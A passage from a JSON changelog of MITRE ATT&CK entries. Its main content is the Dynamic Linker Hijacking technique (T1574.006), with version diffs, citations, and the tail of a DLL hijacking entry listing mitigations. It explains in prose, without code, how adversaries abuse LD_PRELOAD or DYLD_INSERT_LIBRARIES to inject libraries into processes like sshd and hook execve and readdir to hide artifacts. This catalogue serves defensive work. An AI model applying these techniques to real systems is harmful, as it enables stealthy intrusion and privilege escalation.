nowrap=\"nowrap\">on:&nbsp;microsoft&nbsp;remote&nbsp;preloading)&nbsp;&nbsp;If&nbsp;a&nbsp;valid&nbsp;DLL&nbsp;is&nbsp;configur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;microsoft&nbsp;remote&nbsp;preloading)&nbsp;&nbsp;If&nbsp;a&nbsp;valid&nbsp;DLL&nbsp;is&nbsp;configured</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;run&nbsp;at&nbsp;a&nbsp;higher&nbsp;privilege&nbsp;level,&nbsp;then&nbsp;the&nbsp;adversary-co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;run&nbsp;at&nbsp;a&nbsp;higher&nbsp;privilege&nbsp;level,&nbsp;then&nbsp;the&nbsp;adversary-cont</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntrolled&nbsp;DLL&nbsp;that&nbsp;is&nbsp;loaded&nbsp;will&nbsp;also&nbsp;be&nbsp;executed&nbsp;at&nbsp;the&nbsp;hig</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rolled&nbsp;DLL&nbsp;that&nbsp;is&nbsp;loaded&nbsp;will&nbsp;also&nbsp;be&nbsp;executed&nbsp;at&nbsp;the&nbsp;highe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">her&nbsp;level.&nbsp;In&nbsp;this&nbsp;case,&nbsp;the&nbsp;technique&nbsp;could&nbsp;be&nbsp;used&nbsp;for&nbsp;pri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;level.&nbsp;In&nbsp;this&nbsp;case,&nbsp;the&nbsp;technique&nbsp;could&nbsp;be&nbsp;used&nbsp;for&nbsp;privi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vilege&nbsp;escalation.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lege&nbsp;escalation.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1013: Application Developer Guidance",
                            "M1038: Execution Prevention",
                            "M1044: Restrict Library Loading",
                            "M1047: Audit",
                            "M1051: Update Software"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0201: Detection Strategy for Hijack Execution Flow for DLLs"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 20:09:59.569000+00:00",
                    "modified": "2026-11-03 23:28:07.108000+00:00",
                    "name": "Dynamic Linker Hijacking",
                    "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1574/006",
                            "external_id": "T1574.006"
                        },
                        {
                            "source_name": "Apple Doco Archive Dynamic Libraries",
                            "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.",
                            "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
                        },
                        {
                            "source_name": "Baeldung LD_PRELOAD",
                            "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.",
                            "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"
                        },
                        {
                            "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
                            "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.",
                            "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
                        },
                        {
                            "source_name": "Intezer Symbiote 2022",
                            "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
                            "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
                        },
                        {
                            "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
                            "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.",
                            "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"
                        },
                        {
                            "source_name": "Man LD.SO",
                            "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.",
                            "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"
                        },
                        {
                            "source_name": "Elastic Security Labs Pumakit 2024",
                            "description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.",
                            "url": "https://www.elastic.co/security-labs/declawing-pumakit"
                        },
                        {
                            "source_name": "TLDP Shared Libraries",
                            "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.",
                            "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
                        },
                        {
                            "source_name": "Timac DYLD_INSERT_LIBRARIES",
                            "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.",
                            "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"
                        },
                        {
                            "source_name": "ESET Ebury Oct 2017",
                            "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.",
                            "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:28:07.108000+00:00\", \"old_value\": \"2026-05-12 15:12:00.636000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\\n\\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\\n\\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\\n\\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,3 @@\\n Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\\n \\n Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\\n-\\n-Hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.\"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to43__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to43__0\"><a href=\"#difflib_chg_to43__top\">t</a></td><td class=\"diff_header\" id=\"from43_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td><td class=\"diff_next\"><a href=\"#difflib_chg_to43__top\">t</a></td><td class=\"diff_header\" id=\"to43_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;environment&nbsp;variables&nbsp;the&nbsp;dynamic&nbsp;linker&nbsp;uses&nbsp;to&nbsp;load&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;environment&nbsp;variables&nbsp;the&nbsp;dynamic&nbsp;linker&nbsp;uses&nbsp;to&nbsp;load&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shared&nbsp;libraries.&nbsp;During&nbsp;the&nbsp;execution&nbsp;preparation&nbsp;phase&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">shared&nbsp;libraries.&nbsp;During&nbsp;the&nbsp;execution&nbsp;preparation&nbsp;phase&nbsp;of&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;program,&nbsp;the&nbsp;dynamic&nbsp;linker&nbsp;loads&nbsp;specified&nbsp;absolute&nbsp;paths</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;program,&nbsp;the&nbsp;dynamic&nbsp;linker&nbsp;loads&nbsp;specified&nbsp;absolute&nbsp;paths</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;shared&nbsp;libraries&nbsp;from&nbsp;various&nbsp;environment&nbsp;variables&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;shared&nbsp;libraries&nbsp;from&nbsp;various&nbsp;environment&nbsp;variables&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files,&nbsp;such&nbsp;as&nbsp;&lt;code&gt;LD_PRELOAD&lt;/code&gt;&nbsp;on&nbsp;Linux&nbsp;or&nbsp;&lt;code&gt;DYL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">files,&nbsp;such&nbsp;as&nbsp;&lt;code&gt;LD_PRELOAD&lt;/code&gt;&nbsp;on&nbsp;Linux&nbsp;or&nbsp;&lt;code&gt;DYL</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">D_INSERT_LIBRARIES&lt;/code&gt;&nbsp;on&nbsp;macOS.(Citation:&nbsp;TheEvilBit&nbsp;DYL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">D_INSERT_LIBRARIES&lt;/code&gt;&nbsp;on&nbsp;macOS.(Citation:&nbsp;TheEvilBit&nbsp;DYL</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">D_INSERT_LIBRARIES)(Citation:&nbsp;Timac&nbsp;DYLD_INSERT_LIBRARIES)(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">D_INSERT_LIBRARIES)(Citation:&nbsp;Timac&nbsp;DYLD_INSERT_LIBRARIES)(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Gabilondo&nbsp;DYLD_INSERT_LIBRARIES&nbsp;Catalina&nbsp;Bypass)&nbsp;Li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Gabilondo&nbsp;DYLD_INSERT_LIBRARIES&nbsp;Catalina&nbsp;Bypass)&nbsp;Li</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">braries&nbsp;specified&nbsp;in&nbsp;environment&nbsp;variables&nbsp;are&nbsp;loaded&nbsp;first,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">braries&nbsp;specified&nbsp;in&nbsp;environment&nbsp;variables&nbsp;are&nbsp;loaded&nbsp;first,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;taking&nbsp;precedence&nbsp;over&nbsp;system&nbsp;libraries&nbsp;with&nbsp;the&nbsp;same&nbsp;funct</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;taking&nbsp;precedence&nbsp;over&nbsp;system&nbsp;libraries&nbsp;with&nbsp;the&nbsp;same&nbsp;funct</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;name.(Citation:&nbsp;Man&nbsp;LD.SO)(Citation:&nbsp;TLDP&nbsp;Shared&nbsp;Librari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;name.(Citation:&nbsp;Man&nbsp;LD.SO)(Citation:&nbsp;TLDP&nbsp;Shared&nbsp;Librari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es)(Citation:&nbsp;Apple&nbsp;Doco&nbsp;Archive&nbsp;Dynamic&nbsp;Libraries)&nbsp;Each&nbsp;pla</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es)(Citation:&nbsp;Apple&nbsp;Doco&nbsp;Archive&nbsp;Dynamic&nbsp;Libraries)&nbsp;Each&nbsp;pla</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tform's&nbsp;linker&nbsp;uses&nbsp;an&nbsp;extensive&nbsp;list&nbsp;of&nbsp;environment&nbsp;variabl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tform's&nbsp;linker&nbsp;uses&nbsp;an&nbsp;extensive&nbsp;list&nbsp;of&nbsp;environment&nbsp;variabl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;at&nbsp;different&nbsp;points&nbsp;in&nbsp;execution.&nbsp;These&nbsp;variables&nbsp;are&nbsp;oft</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;at&nbsp;different&nbsp;points&nbsp;in&nbsp;execution.&nbsp;These&nbsp;variables&nbsp;are&nbsp;oft</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;used&nbsp;by&nbsp;developers&nbsp;to&nbsp;debug&nbsp;binaries&nbsp;without&nbsp;needing&nbsp;to&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;used&nbsp;by&nbsp;developers&nbsp;to&nbsp;debug&nbsp;binaries&nbsp;without&nbsp;needing&nbsp;to&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecompile,&nbsp;deconflict&nbsp;mapped&nbsp;symbols,&nbsp;and&nbsp;implement&nbsp;custom&nbsp;fu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecompile,&nbsp;deconflict&nbsp;mapped&nbsp;symbols,&nbsp;and&nbsp;implement&nbsp;custom&nbsp;fu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nctions&nbsp;in&nbsp;the&nbsp;original&nbsp;library.(Citation:&nbsp;Baeldung&nbsp;LD_PRELO</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nctions&nbsp;in&nbsp;the&nbsp;original&nbsp;library.(Citation:&nbsp;Baeldung&nbsp;LD_PRELO</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">AD)&nbsp;&nbsp;Hijacking&nbsp;dynamic&nbsp;linker&nbsp;variables&nbsp;may&nbsp;grant&nbsp;access&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">AD)&nbsp;&nbsp;Hijacking&nbsp;dynamic&nbsp;linker&nbsp;variables&nbsp;may&nbsp;grant&nbsp;access&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;victim&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;victim&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ossibly&nbsp;elevated&nbsp;privileges.&nbsp;On&nbsp;Linux,&nbsp;adversaries&nbsp;may&nbsp;set&nbsp;&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ossibly&nbsp;elevated&nbsp;privileges.&nbsp;On&nbsp;Linux,&nbsp;adversaries&nbsp;may&nbsp;set&nbsp;&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;LD_PRELOAD&lt;/code&gt;&nbsp;to&nbsp;point&nbsp;to&nbsp;malicious&nbsp;libraries&nbsp;that&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;LD_PRELOAD&lt;/code&gt;&nbsp;to&nbsp;point&nbsp;to&nbsp;malicious&nbsp;libraries&nbsp;that&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">match&nbsp;the&nbsp;name&nbsp;of&nbsp;legitimate&nbsp;libraries&nbsp;which&nbsp;are&nbsp;requested&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">match&nbsp;the&nbsp;name&nbsp;of&nbsp;legitimate&nbsp;libraries&nbsp;which&nbsp;are&nbsp;requested&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;a&nbsp;victim&nbsp;program,&nbsp;causing&nbsp;the&nbsp;operating&nbsp;system&nbsp;to&nbsp;load&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;a&nbsp;victim&nbsp;program,&nbsp;causing&nbsp;the&nbsp;operating&nbsp;system&nbsp;to&nbsp;load&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversary's&nbsp;malicious&nbsp;code&nbsp;upon&nbsp;execution&nbsp;of&nbsp;the&nbsp;victim&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversary's&nbsp;malicious&nbsp;code&nbsp;upon&nbsp;execution&nbsp;of&nbsp;the&nbsp;victim&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gram.&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;have&nbsp;used&nbsp;`LD_PRELOAD`&nbsp;to&nbsp;inj</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gram.&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;have&nbsp;used&nbsp;`LD_PRELOAD`&nbsp;to&nbsp;inj</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ect&nbsp;a&nbsp;malicious&nbsp;library&nbsp;into&nbsp;every&nbsp;descendant&nbsp;process&nbsp;of&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ect&nbsp;a&nbsp;malicious&nbsp;library&nbsp;into&nbsp;every&nbsp;descendant&nbsp;process&nbsp;of&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`sshd`&nbsp;daemon,&nbsp;resulting&nbsp;in&nbsp;execution&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`sshd`&nbsp;daemon,&nbsp;resulting&nbsp;in&nbsp;execution&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocess.&nbsp;When&nbsp;the&nbsp;executing&nbsp;sub-process&nbsp;calls&nbsp;the&nbsp;`execve`&nbsp;fun</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocess.&nbsp;When&nbsp;the&nbsp;executing&nbsp;sub-process&nbsp;calls&nbsp;the&nbsp;`execve`&nbsp;fun</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ction,&nbsp;for&nbsp;example,&nbsp;the&nbsp;malicious&nbsp;library\u2019s&nbsp;`execve`&nbsp;functio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ction,&nbsp;for&nbsp;example,&nbsp;the&nbsp;malicious&nbsp;library\u2019s&nbsp;`execve`&nbsp;functio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;is&nbsp;executed&nbsp;rather&nbsp;than&nbsp;the&nbsp;system&nbsp;function&nbsp;`execve`&nbsp;conta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;is&nbsp;executed&nbsp;rather&nbsp;than&nbsp;the&nbsp;system&nbsp;function&nbsp;`execve`&nbsp;conta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ined&nbsp;in&nbsp;the&nbsp;system&nbsp;library&nbsp;on&nbsp;disk.&nbsp;This&nbsp;allows&nbsp;adversaries&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 